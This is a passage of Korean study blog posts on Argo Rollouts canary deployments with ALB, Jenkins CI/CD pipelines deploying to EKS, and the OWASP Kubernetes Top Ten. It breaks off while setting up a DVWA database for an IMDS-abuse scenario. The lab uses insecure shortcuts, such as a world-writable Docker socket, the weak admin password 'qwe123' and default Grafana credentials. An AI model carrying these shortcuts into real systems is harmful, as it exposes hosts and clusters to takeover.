Rollout에서 참조하는 Ingress에는 출시 서비스 중 하나와 일치하는 규칙이 있어야 합니다. 이는 canary.trafficRouting.alb.rootService(지정된 경우)여야 합니다. 그렇지 않으면 Rollout에서 canary.stableService를 사용합니다. 업데이트 중에 Ingress에는 Rollout에서 참조하는 Stable 서비스와 Canary 서비스 간에 트래픽을 분할하도록 ALB에 지시하는 custom action annotation이 주입됩니다. 이 예에서 해당 서비스의 이름은 각각 Rollouts-demo-stable 및 Rollouts-demo-canary로 지정됩니다.

kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/alb/rollout.yaml
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/alb/services.yaml
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/alb/ingress.yaml

Updating a Rollout

kubectl argo rollouts get rollout rollouts-demo

Perform an update

이 시점에서 Canary와 안정 버전의 Rollout이 모두 실행 중이며 트래픽의 5%가 Canary로 전달됩니다. 이것이 어떻게 작동하는지 이해하려면 ALB에 대한 리스너 규칙을 살펴보면 됩니다. 리스너 규칙을 살펴보면 Canary의 현재 가중치를 반영하기 위해 컨트롤러에 의해 전달 작업 가중치가 수정되었음을 알 수 있습니다.

kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:yellow
kubectl argo rollouts get rollout rollouts-demo

컨트롤러는 서비스에 rollouts-pod-template-hash Selector를 추가하고 동일한 라벨을 파드에 연결했습니다. 따라서 가중치에 따라 서비스에 요청을 전달하기만 하면 트래픽을 분할할 수 있습니다. Rollout이 단계를 통해 진행됨에 따라 전달 작업 가중치는 단계의 현재 setWeight와 일치하도록 조정됩니다.

[AEWS] EKS CI/CD - Jenkins

imxsuu — Mon, 15 Apr 2024 11:50:36 +0900

프로메테우스 & 그라파나 사전 설치

그라파나의 기본 ID / PW는 admin / prom-operator 입니다.
대시보드 추천 15757 17900 15172

# 사용 리전의 인증서 ARN 확인
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts

# 파라미터 파일 생성 : PV/PVC(AWS EBS) 삭제에 불편하니, 4주차 실습과 다르게 PV/PVC 미사용
cat <<EOT > monitor-values.yaml
prometheus:
  prometheusSpec:
    podMonitorSelectorNilUsesHelmValues: false
    serviceMonitorSelectorNilUsesHelmValues: false
    retention: 5d
    retentionSize: "10GiB"

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - prometheus.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

grafana:
  defaultDashboardsTimezone: Asia/Seoul
  adminPassword: prom-operator
  defaultDashboardsEnabled: false

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - grafana.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

alertmanager:
  enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
kubectl create ns monitoring
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version 57.2.0 \
--set prometheus.prometheusSpec.scrapeInterval='15s' --set prometheus.prometheusSpec.evaluationInterval='15s' \
-f monitor-values.yaml --namespace monitoring

# Metrics-server 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 프로메테우스 ingress 도메인으로 웹 접속
echo -e "Prometheus Web URL = https://prometheus.$MyDomain"

# 그라파나 웹 접속 : 기본 계정 - admin / prom-operator
echo -e "Grafana Web URL = https://grafana.$MyDomain"

Docker

CI/CD에서 사용할 이미지의 레파지토리로 사용될 Docker Hub의 계정이 필요합니다.

자신만의 웹 서버 도커 이미지 생성 후 도커 컨테이너 실행

# ubuntu 이미지 다운로드
docker pull ubuntu:20.04
docker images

# 실습을 위한 디렉터리 생성 및 이동
mkdir -p /root/myweb && cd /root/myweb

# Dockerfile 파일 생성
vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=1.0.0 NICK=<자신의 닉네임>
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    apt-get update && apt-get install -y apache2 figlet && \
    echo "$NICK Web Server $VERSION<br>" > /var/www/html/index.html && \
    echo "<pre>" >> /var/www/html/index.html && \
    figlet AEWS Study >> /var/www/html/index.html && \
    echo "</pre>" >> /var/www/html/index.html
EXPOSE 80
CMD ["usr/sbin/apache2ctl", "-DFOREGROUND"]

vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=1.0.0 NICK=gasida
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    apt-get update && apt-get install -y apache2 figlet && \
    echo "$NICK Web Server $VERSION<br>" > /var/www/html/index.html && \
    echo "<pre>" >> /var/www/html/index.html && \
    figlet AEWS Study >> /var/www/html/index.html && \
    echo "</pre>" >> /var/www/html/index.html
EXPOSE 80
CMD ["usr/sbin/apache2ctl", "-DFOREGROUND"]

# 이미지 빌드
cat Dockerfile
docker build -t myweb:v1.0.0 .
docker images
docker image history myweb:v1.0.0
docker image inspect myweb:v1.0.0 | jq

# 컨테이너 실행
docker run -d -p 80:80 --rm --name myweb myweb:v1.0.0
docker ps
curl localhost

# 웹 접속 확인
curl -s ipinfo.io/ip | awk '{ print "myweb = http://"$1"" }'

도커 허브 업로드

#
DHUB=<도커 허브 계정>
DHUB=imxsuu
docker tag myweb:v1.0.0 $DHUB/myweb:v1.0.0
docker images

# 도커 허브 로그인
docker login
Username: <자신의 ID>
Password: <암호>
## 로그인 정보는 /[계정명]/.docker/config.json 에 저장됨. docker logout 시 삭제됨
## cat /root/.docker/config.json | jq

# push 로 이미지를 저장소에 업로드
docker push $DHUB/myweb:v1.0.0

해당 저장소 이미지 활용

# 컨테이너 종료
docker rm -f myweb
docker ps

# 로컬 이미지 삭제
docker rmi $DHUB/myweb:v1.0.0
docker images

# 
docker run -d -p 80:80 --rm --name myweb $DHUB/myweb:v1.0.0
docker iamges

# 확인
docker ps
curl localhost
curl -s ipinfo.io/ip | awk '{ print "myweb = http://"$1"" }'

# 삭제
docker rm -f myweb

Jenkins

소개

소프트웨어 개발 프로세스의 다양한 단계를 자동화하는 도구로서 중앙 소스 코드 리포지터리에서 최신 코드 가져오기, 소스 코드 컴파일, 단위 테스트 실행, 산출물을 다양한 유형으로 패키징, 산출물을 여러 종류의 환경으로 배포하기 등의 기능을 제공합니다.
젠킨스는 아파치 톰캣처럼 서블릿 컨테이너 내부에서 실행되는 서버 시스템입니다. 자바로 작성되었으며 소프트웨어 개발과 관련된 다양한 도구를 지원합니다.

서블릿 컨테이너는 자바 서블릿을 실행하고 관리하는 환경을 제공하는 서버 사이드 컴포넌트입니다. 서블릿 컨테이너는 웹 애플리케이션 서버의 일부로서 동작하며, 클라이언트 요청에 따라 서블릿을 로드, 초기화, 실행하고 그 결과를 반환합니다.
서블릿 컨테이너의 주요 역할은 다음과 같습니다:
서블릿 생명주기 관리: 서블릿의 인스턴스를 생성하고 초기화하며, 클라이언트 요청에 따라 적절한 메서드를 호출하여 응답을 생성합니다.
요청 처리 및 스레드 관리: 클라이언트의 HTTP 요청을 받아 해당 요청에 대응하는 서블릿을 실행합니다. 서블릿 컨테이너는 각 요청을 별도의 스레드로 처리하여 동시 다중 요청을 처리할 수 있습니다.
세션 관리: 클라이언트의 세션을 관리하고, 세션 식별자를 통해 세션 데이터를 유지합니다.보안: 보안 기능을 제공하고, 서블릿의 실행 권한을 관리합니다.
JSP 지원: JavaServer Pages (JSP)를 처리하고, JSP가 서블릿으로 변환되어 실행될 수 있도록 지원합니다.
대표적인 서블릿 컨테이너로는 Apache Tomcat, Jetty, IBM WebSphere 등이 있습니다. 이러한 서블릿 컨테이너는 자바 서블릿 및 JSP를 실행하기 위한 필수적인 환경을 제공하여 웹 애플리케이션의 개발과 배포를 지원합니다.
[출처 : ChatGPT]

젠킨스는 DSL Domain Specific Language (jenkins file)로 E-E 빌드 수명 주기 단계를 구축합니다.
젠킨스는 파이프라인이라고 부르는 스크립트를 작성할 수 있는데, 이를 사용해서 각 빌드 단계마다 젠킨스가 수행할 태스크 및 하위 태스크의 순서를 정의합니다.
- 순차적이고 종속적인 단계가 시작부터 끝까지 실행되면 최종적으로 사용자가 실행할 수 있는 빌드가 생성됩니다.
- 만약 빌드 프로세스를 진행하는 중에 특정 단계에서 실패가 발생하며, 이 단계의 출력 결과를 사용하는 다음 단계는 실행되지 않으며 빌드 프로세스 전체가 실패합니다.
다양한 Plugins 연동
- Build Plugins : Maven, Ant, Gradle …
- VCS Plugins : Git, SVN …
- Languages Plugins : Java, Python, Node.js …

CI(지속적 제공)/CD(지속적 배포) 워크플로 예제

최신 코드 가져오기 : 개발을 위해 중앙 코드 레파지토리에서 로컬 시스템으로 애플리케이션의 최신 코드를 가져옵니다.
단위 테스트 구현과 실행 : 코드 작성 전 단위 테스트 케이스를 먼저 작성할 수 있습니다.
코드 개발 : 실패한 테스트 케이스를 성공으로 바꾸면서 코드를 개발할 수 있습니다.
단위 테스트 케이스 재실행 : 단위 테스트 케이스 실행 시 통과하도록 설정할 수 있습니다.
코드 푸시와 병합 : 개발 소스 코드를 중앙 레파지토리로 푸시하고, 코드를 병합할 수 있습니다.
코드 병합 후 컴파일 : 변경 함수 코드가 병합되면 전체 애플리케이션이 컴파일되도록 설정할 수 있습니다.
병합된 코드에서 테스트 실행 : 개별 테스트뿐만 아니라 전체 통합 테스트를 실행하여 문제가 없는지 확인할 수 있습니다.
아티팩트 배포 : 애플리케이션을 빌드하고, 애플리케이션 서버의 프로덕션 환경에 배포할 수 있습니다.
배포 애플리케이션의 E-E 테스트 실행 : 셀레늄(Selenium)과 같은 User Interface 자동화 도구를 통해 애플리케이션의 전체 워크플로가 정상 동작하는지 확인하는 종단간 End-to-End 테스트를 실행할 수 있습니다.

설치 및 설정

# 실습 편리를 위해서 root 계정 전환
sudo su -

# Add required dependencies for the jenkins package
# https://docs.aws.amazon.com/corretto/latest/corretto-17-ug/amazon-linux-install.html
sudo yum install fontconfig java-17-amazon-corretto -y
java -version
alternatives --display java
JAVA_HOME=/usr/lib/jvm/java-17-amazon-corretto.x86_64
echo $JAVA_HOME

# 젠킨스 설치
sudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io-2023.key
sudo yum upgrade
sudo yum install jenkins -y
sudo systemctl daemon-reload
sudo systemctl enable jenkins && sudo systemctl start jenkins   # 다소 시간 걸림
sudo systemctl status jenkins

# 초기 암호 확인
sudo systemctl status jenkins
cat /var/lib/jenkins/secrets/initialAdminPassword

# 접속 주소 확인 
curl -s ipinfo.io/ip | awk '{ print "Jenkins = http://"$1":8080" }'

초기 암호 입력

제안 플러그인 설치

관리자 계정 설정 : 계정명(admin) , 암호(qwe123), 이름('자신의 닉네임')

설정 완료 후 젠킨스 접속

item : 젠킨스에서 사용하는 작업의 최소 단위
사람 : 계정 관련
Jenkins 관리 : 전역 설정 등

기본 사용 , Tools 설정 : First-Project

Jenkins 관리 → Tools 진입

JDK installations : jdk-17 , /usr/lib/jvm/java-17-amazon-corretto.x86_64 → Save

첫번째 Item(Project) 생성

새로운 Item 클릭 → Name : First-Project, Freestyle project ⇒ 하단 OK 클릭

Build Steps → Add build step ⇒ Execute shell 클릭

간단한 문장 입력 : echo "Aws Workshop Study" → 하단 Apply 후 저장

지금 빌드 클릭

빌드 결과 확인 : 화살표 클릭 후 Console Output 클릭하여 콘솔 출력 확인 → 하단에 SUCCES

상위 메뉴 - 구성 : 명령어 추가 → Apply 저장 → 지금 빌드 후 Console Output 확인
- java -version
- whoami
- touch hello.txt

Item(Job) 프로젝트 디텍토리 혹은 젠킨스 작업 공간 확인

find / -name First_Project
/var/lib/jenkins/jobs/First_Project
/var/lib/jenkins/workspace/First_Project

# 프로젝트(job, item) 별 작업 공간 확인
tree /var/lib/jenkins/workspace/First_Project

Docker 사용 : Docker-Project

사전 준비

jenkins 유저는 /bin/false로 shell, ssh 접근, 홈디렉토리 등 모든 것이 제한되어 있는 상태이므로 /bin/bash로 사용자 권한을 수정합니다.

# jenkins 유저로 docker 사용 가능하게 설정
grep -i jenkins /etc/passwd
usermod -s /bin/bash jenkins
grep -i jenkins /etc/passwd

jenkins 유저는 현재 docker info라는 명령어를 사용할 수 없습니다.

su - jenkins
whoami
pwd
docker info
exit

docker 실행 권한을 jenkins 유저에게 주어 docker를 사용할 수 있도록 설정합니다.

chmod 666 /var/run/docker.sock
usermod -aG docker jenkins

# Jeknins 유저로 확인
su - jenkins
docker info

# Dockerhub로 로그인 하기
docker login
Username: <자신의 계정명>
Password: <자신의 암호>

실습을 위한 디렉토리와 Dockerfile을 생성합니다.

# Dockerfile 파일 생성
vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=2.0.0 NICK=<자신의 닉네임>
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    apt-get update && apt-get install -y apache2 figlet && \
    echo "$NICK Web Server $VERSION<br>" > /var/www/html/index.html && \
    echo "<pre>" >> /var/www/html/index.html && \
    figlet AEWS Study >> /var/www/html/index.html && \
    echo "</pre>" >> /var/www/html/index.html
EXPOSE 80
CMD ["usr/sbin/apache2ctl", "-DFOREGROUND"]

vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=2.0.0 NICK=gasida
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && \
    apt-get update && apt-get install -y apache2 figlet && \
    echo "$NICK Web Server $VERSION<br>" > /var/www/html/index.html && \
    echo "<pre>" >> /var/www/html/index.html && \
    figlet AEWS Study >> /var/www/html/index.html && \
    echo "</pre>" >> /var/www/html/index.html
EXPOSE 80
CMD ["usr/sbin/apache2ctl", "-DFOREGROUND"]

# 모니터링
watch -d 'docker images; echo; docker ps'

-----------
# (참고) 이미지 빌드
docker build -t myweb:v2.0.0 -f /var/lib/jenkins/myweb2/Dockerfile

# (참고) 컨테이너 실행
docker run -d -p 80:80 --rm --name myweb myweb:v2.0.0

New Item 생성 : Docker-Project , freestyle

Build Steps : Execute shell

cd /var/lib/jenkins/myweb2
docker build -t myweb:v2.0.0 .

Add build Steps : Execute shell

docker run -d -p 80:80 --rm --name myweb myweb:v2.0.0

지금 빌드 → 확인

docker images
docker ps
curl localhost

실습 리소스 삭제

docker rm -f myweb
docker rmi myweb:v2.0.0

Github 가입 : 자신의 계정명 확인 → https://github.com/gasida/aews-cicd.git fork

파라미터, 빌드 유발(SCM - Git) 사용 : Trigger-Project

New Item 생성 : Trigger-Project, freestyle

General → 이 빌드는 매개변수가 있습니다. → String Parameter
- 변수명(VERSION), Default Vault(v1.0.0)
- 변수명(NICK), Default Vault(<자신의 계정명>)

소스 코드 관리 : Git
- Repo URL : https://github.com/<자신의 계정명>/aews-cicd
- Branch : */main
- Additional Behaviours → Sparse Checkout paths (Path) : 1 → 1이라는 특정 폴더의 파일만 가져옵니다.

빌드 유발 : Poll SCM (* * * * *) → 해당 파일 커밋이 생긴 후 주기(매분)가 맞으면 빌드가 실행됩니다.

Build Steps : Execute shell

cd /var/lib/jenkins/myweb2
rm -rf Dockerfile
wget https://raw.githubusercontent.com/$NICK/aews-cicd/main/1/Dockerfile

Add build Steps : Execute shell

docker build -t myweb:$VERSION .
docker run -d -p 80:80 --rm --name myweb myweb:$VERSION

자신의 Github Repo 1 에서 Dockerfile에 VERSION 정보 수정 후 Commit → 1분 정도 후 젠킨스에서 확인
- Git Repo와 Jenkins Server의 Dockerfile은 v1.5.1 이지만 Jenkins Console Output은 v1.0.0입니다.

파라미터와 함께 빌드 클릭 → 아래 입력 후 확인

실습 내용 정리

docker rm -f myweb
docker rmi myweb:v1.9.9
docker rmi myweb:v1.0.0

Jenkins 작업 (프로젝트, Job, Item)

작업을 수행하는 시점 Trigger
- 작업 수행 태스크 task가 언제 시작될지를 지시합니다.
작업을 구성하는 단계별 태스크 Built step
- 특정 목표를 수행하기 위한 태스크를 단계별 step로 구성할 수 있습니다.
- 이것을 젠킨스에서는 빌드 스텝 build step이라고 부릅니다.
태스크가 완료 후 수행할 명령 Post-build action
- 예를 들어 작업의 결과(성공 or 실패)를 사용자에게 알려주는 후속 동작이나, 자바 코드를 컴파일한 후 생성된 클래스 파일을 특정 위치로 복사 등을 말합니다.

젠킨스의 빌드 : 젠킨스 작업의 특정 실행 버전
- 사용자는 젠킨스 작업을 여러번 실행할 수 있는데, 실행될 때마다 고유 빌드 번호가 부여됩니다.
- 작업 실행 중에 생성된 아티팩트, 콘솔 로드 등 특정 실행 버전과 관련된 모든 세부 정보가 해당 빌드 번호로 저장됩니다.

Pipeline : CD 파이프라인을 구현하고 통합할 때 사용하는 플러그인 스크립트 모음

https://www.jenkins.io/doc/book/pipeline/

파이프라인 장점

코드 : 애플리케이션 CI/CD 프로세스를 코드 형식으로 작성할 수 있고, 해당 코드를 중앙 레파지토리에 저장하여 팀원과 공유 및 작업이 가능합니다.
내구성 : 젠킨스 서비스가 의도적으로 또는 우발적으로 재시작되더라도 문제없이 유지됩니다.
일시 중지 가능 : 파이프라인을 실행하는 도중 사람의 승인이나 입력을 기다리기 위해 중단하거나 기다리는 것이 가능합니다.
다양성 : 분기나 반복, 병렬 처리와 같은 다양한 CI/CD 요구 사항을 지원합니다.

파이프라인 용어

파이프라인 : 전체 빌드 프로세스를 정의하는 코드.
노드 node : 파이프라인을 실행하는 시스템.
스테이지 stage : 특정 단계에서 수행되는 작업들의 정의.
스텝 step : 파이프라인의 특정 단계에서 수행되는 단일 작업을 의미.

파이프라인 3가지 구성 형태

Pipeline script : 일반적인 방식으로 Jenkins 파이프라인을 생성하여 Shell Script를 직접 생성하여 빌드하는 방식
- Through the classic UI - 전형적인 UI를 통해 Jenkins에 직접 기본 파이프라인을 입력할 수 있습니다.
Pipeline script from SCM : 사전 작성한 JenkinsFile을 형상관리 저장소에 보관하고, 빌드 시작 시 파이프라인 프로젝트에서 호출 실행하는 방식
- In SCM - 프로젝트의 소스 제어 레파지토리에에 Commit할 수 있는 Jenkinsfile을 수동으로 작성할 수 있습니다.
Blue Ocean 기반 : UI기반하여 시각적으로 파이프라인을 구성하면, JenkinsFile이 자동으로 생성되어 실행되는 방식
- Through Blue Ocean - 파이프라인 프로젝트를 설정한 후 Blue Ocean UI는 파이프라인의 Jenkinsfile을 작성하고 소스 제어에 Commit하는 데 도움이 됩니다.

https://www.jenkins.io/doc/book/blueocean/pipeline-run-details/

파이프라인 2가지 구문 : 선언형 파이프라인(권장)과 스크립트형 파이프라인

선언형 파이프라인 : 쉽게 작성 가능, 최근 문법이고 젠킨스에서 권장하는 방법, step 필수!
스크립트형 파이프라인 : 커스텀 작업에 용이, 복잡하여 난이도가 높음, step 필수X

https://velog.io/@kku64r/pipeline

선언형 Declarative 파이프라인

pipeline {
    agent any     # Execute this Pipeline or any of its stages, on any available agent.
    stages {
        stage('Build') {   # Defines the "Build" stage.
            steps {
                //         # Perform some steps related to the "Build" stage.
            }
        }
        stage('Test') { 
            steps {
                // 
            }
        }
        stage('Deploy') { 
            steps {
                // 
            }
        }
    }
}

스크립트형 Scripted 파이프라인

node {          # 	Execute this Pipeline or any of its stages, on any available agent.
    stage('Build') {    # Defines the "Build" stage. stage blocks are optional in Scripted Pipeline syntax. However, implementing stage blocks in a Scripted Pipeline provides clearer visualization of each stage's subset of tasks/steps in the Jenkins UI.
        //              # Perform some steps related to the "Build" stage.
    }
    stage('Test') { 
        // 
    }
    stage('Deploy') { 
        // 
    }
}

Jenkins Pipeline : First-Pipeline

New Item 생성 : First-Pipeline, Pipeline(Pipeline script)

샘플 파이프라인 테스트

Hello World Script

pipeline {
    agent any

    stages {
        stage('정보 확인') {
            steps {
                echo 'Hello World'
                sh 'java -version'
            }
        }
        stage('가라 배포') {
            steps {
                echo "Deployed successfully!";
            }
        }
    }
}

수정 후 확인: 환경변수 사용, 문자열 보간 → Console Output 확인

pipeline {
    agent any
    environment { 
        STUDYNAME = 'AEWS'
    }
    stages {
        stage('연습') {
            environment { 
                mykey = 'abcd'
            }
            steps {
                echo "${STUDYNAME}";
                sh 'echo ${mykey}'
            }
        }
    }
}

수정 후 확인: Tools → Console Output 확인
- Tools를 사용하기 위해서는 Jenkins 관리에서 사전에 정보를 등록해주어야 하며 해당 이름으로 파이프라인 작성이 가능합니다.

pipeline {
    agent any
    tools {
        maven '3.9.6' 
    }
    stages {
        stage('Example') {
            steps {
                sh 'mvn --version'
            }
        }
    }
}

수정 후 확인: 파이프라인 빌드 시작(Triggers) → Console Output 확인

pipeline {
    agent any
    triggers {
        cron('* * * * *')
    }
    stages {
        stage('주기 반복') {
            steps {
                echo 'Hello World'
            }
        }
    }
}

수정 후 확인: 파라미터와 함께 빌드 → Console Output 확인

pipeline {
    agent any
    parameters {
        string(name: 'PERSON', defaultValue: 'gasida', description: 'Who are you?')
        choice(name: 'CHOICE', choices: ['One', 'Two', 'Three'], description: 'Pick something')
    }
    stages {
        stage('파라미터 사용') {
            steps {
                echo "Hello ${params.PERSON}"
                echo "Choice: ${params.CHOICE}"
            }
        }
    }
}

수정 후 확인: post (빌드 후 조치) → Console Output 확인
- always: 항상 실행
- changed: 현재 빌드의 상태가 이번 빌드의 상태와 달라졌다면 실행
- success: 현재 빌드가 성공했다면 실행
- failure: 현재 빌드가 실패했다면 실행
- unstable: 현재 빌드의 상태가 불안하다면 실행

pipeline {
    agent any
    stages {
        stage('Compile') {
            steps {
                echo "Compiled successfully!";
            }
        }

        stage('JUnit') {
            steps {
                echo "JUnit passed successfully!";
            }
        }

        stage('Code Analysis') {
            steps {
                echo "Code Analysis completed successfully!";
            }
        }

        stage('Deploy') {
            steps {
                echo "Deployed successfully!";
            }
        }
    }

    post {
      always {
        echo "This will always run"
      }
      success {
        echo "This will run when the run finished successfully"
      }
      failure {
        echo "This will run if failed"
      }
      unstable {
        echo "This will run when the run was marked as unstable"
      }
      changed {
        echo "This will run when the state of the pipeline has changed"
      }
    }
}

Jenkins with Kubernetes

Jenkins 에서 k8s 사용을 위한 사전 준비

# jenkins 사용자에서 아래 작업 진행
whoami
mkdir ~/.kube

# root 계정에서 아래 복사 실행
cp ~/.kube/config /var/lib/jenkins/.kube/config
chown jenkins:jenkins /var/lib/jenkins/.kube/config

# jenkins 사용자에서 aws eks 사용(sts 호출 등)을 위한 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2###
AWS Secret Access Key [None]: ###
Default region name [None]: ap-northeast-2

# jenkins 사용자에서 kubectl 명령어 사용 확인
kubectl get pods -A

파이프라인으로 디플로이먼트/서비스 배포

Github Repo 3/deploy/deployment-svc.yaml 파일에 image 부분 자신의 도커 허브 이미지로 수정

New Item 생성 : k8s-1 , Pipeline

pipeline {
    agent any

    tools {
        jdk 'jdk-17'
    }

    environment {
        DOCKERHUB_USERNAME = 'imxsuu'
        GITHUB_URL = 'https://github.com/imxsuu/aews-cicd.git'
        // deployment-svc.yaml -> image: imxsuu/myweb:v1.0.0        
        DIR_NUM = '3'
    }

    stages {
        stage('Container Build') {
            steps {	
                // 릴리즈파일 체크아웃
                checkout scmGit(branches: [[name: '*/main']], 
                    extensions: [[$class: 'SparseCheckoutPaths', 
                    sparseCheckoutPaths: [[path: "/${DIR_NUM}"]]]], 
                    userRemoteConfigs: [[url: "${GITHUB_URL}"]])

                // 컨테이너 빌드 및 업로드
                sh "docker build -t ${DOCKERHUB_USERNAME}/myweb:v1.0.0 ./${DIR_NUM}"
                sh "docker push ${DOCKERHUB_USERNAME}/myweb:v1.0.0"
            }
        }

        stage('K8S Deploy') {
            steps {
                sh "kubectl apply -f ./${DIR_NUM}/deploy/deployment-svc.yaml"
            }
        }
    }
}

모니터링

watch -d kubectl get pod,svc,ep

접속 테스트용 파드 배포

# 배포
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: netpod
  labels:
    app: pod
spec:
  containers:
  - name: netshoot-pod
    image: nicolaka/netshoot
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF

확인

kubectl exec -it netpod -- curl myweb:8080
kubectl exec -it netpod -- curl myweb:8080 | grep Web
while true; do kubectl exec -it netpod -- curl myweb:8080 | grep Web; echo; done

# 작업공간 확인
tree /var/lib/jenkins/workspace/k8s-1
cat /var/lib/jenkins/workspace/k8s-1/3/Dockerfile

Repo에서 replicas 개수 7로 변경 후 Commit → 젠킨스에서 지금 빌드 후 확인

실습 완료 후 삭제

kubectl delete deploy,svc myweb

[AEWS] OWASP Kubernetes Top Ten & Kyverno

imxsuu — Fri, 12 Apr 2024 15:28:37 +0900

OWASP Kubernetes Top Ten

OWASP Kubernetes Top Ten은 OWASP(Open Web Application Security Project)에서 제공하는 Kubernetes 환경에서 발생할 수 있는 주요 보안 위협을 나열한 목록입니다. 이 목록은 Kubernetes 기반 시스템에서 발생할 수 있는 보안 취약점을 이해하고 대응하기 위해 개발자, 보안 전문가 및 DevOps 팀이 참고할 수 있도록 설계되었습니다. 아래는 OWASP Kubernetes Top Ten의 주요 보안 위협 10가지입니다:

무단 접근을 허용하는 Kubernetes API 서버 (Insecure Kubernetes API Server): Kubernetes API 서버는 클러스터를 관리하는 핵심 구성 요소이며, 적절하지 않은 구성이나 접근 제어 부재로 인해 무단 접근이 가능해질 수 있습니다.
권한 상승 (Privilege Escalation): RBAC (Role-Based Access Control) 및 Pod Security Policies 등 권한 관리 메커니즘의 오류나 취약점으로 인해 공격자가 권한을 높일 수 있습니다.
보안 인터페이스의 미비 (Insecure Interfaces): Kubernetes는 kubelet, etcd 등 다양한 인터페이스를 노출하는데, 이러한 인터페이스의 적절한 보안 설정이 없으면 공격자가 클러스터를 조작할 수 있습니다.
워크로드 보안 (Workload Security): 컨테이너화된 워크로드 (예: Pods)의 보안 취약점이나 보안되지 않은 이미지 레지스트리 등으로 인해 공격자가 클러스터 내에서 작업을 조작할 수 있습니다.
감염된 컨테이너 (Compromised Containers): 감염된 또는 취약한 컨테이너를 통해 공격자가 클러스터 내에서 악성 활동을 수행할 수 있습니다.
데이터 보안 (Data Security): Kubernetes 환경에서 데이터의 기밀성과 무결성을 유지하는 것이 중요합니다. 부적절한 데이터 보안 설정은 데이터 유출 또는 변조로 이어질 수 있습니다.
부적절한 구성 (Configuration Issues): Kubernetes 클러스터의 구성 오류는 보안 문제로 이어질 수 있습니다. 예를 들어, 기본 보안 구성의 미비, 암호화 설정 부재 등이 있습니다.
비인가된 사용자의 클러스터 접근 (Unauthorized Cluster Access): 취약한 인증 및 액세스 제어 설정으로 인해 비인가된 사용자가 클러스터에 접근할 수 있습니다.
네트워크 보안 (Network Security): Kubernetes 클러스터의 네트워크 구성은 보안에 중요한 역할을 합니다. 부적절한 네트워크 보안 설정은 공격의 가능성을 높일 수 있습니다.
서비스의 부적절한 노출 (Exposure of Services): 취약한 서비스 구성으로 인해 공격자가 서비스를 악용할 수 있습니다. 서비스 노출 및 접근 제어가 중요합니다.

[출처 : ChatGPT]

https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf

EKS pod가 IMDS API를 악용하는 시나리오

mysql 배포

cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
  name: dvwa-secrets
type: Opaque
data:
  # s3r00tpa55
  ROOT_PASSWORD: czNyMDB0cGE1NQ==
  # dvwa
  DVWA_USERNAME: ZHZ3YQ==
  # p@ssword
  DVWA_PASSWORD: cEBzc3dvcmQ=
  # dvwa
  DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-mysql-service
spec:
  selector:
    app: dvwa-mysql
    tier: backend
  ports:
    - protocol: TCP
      port: 3306
      targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-mysql
spec:
  replicas: 1
  selector:
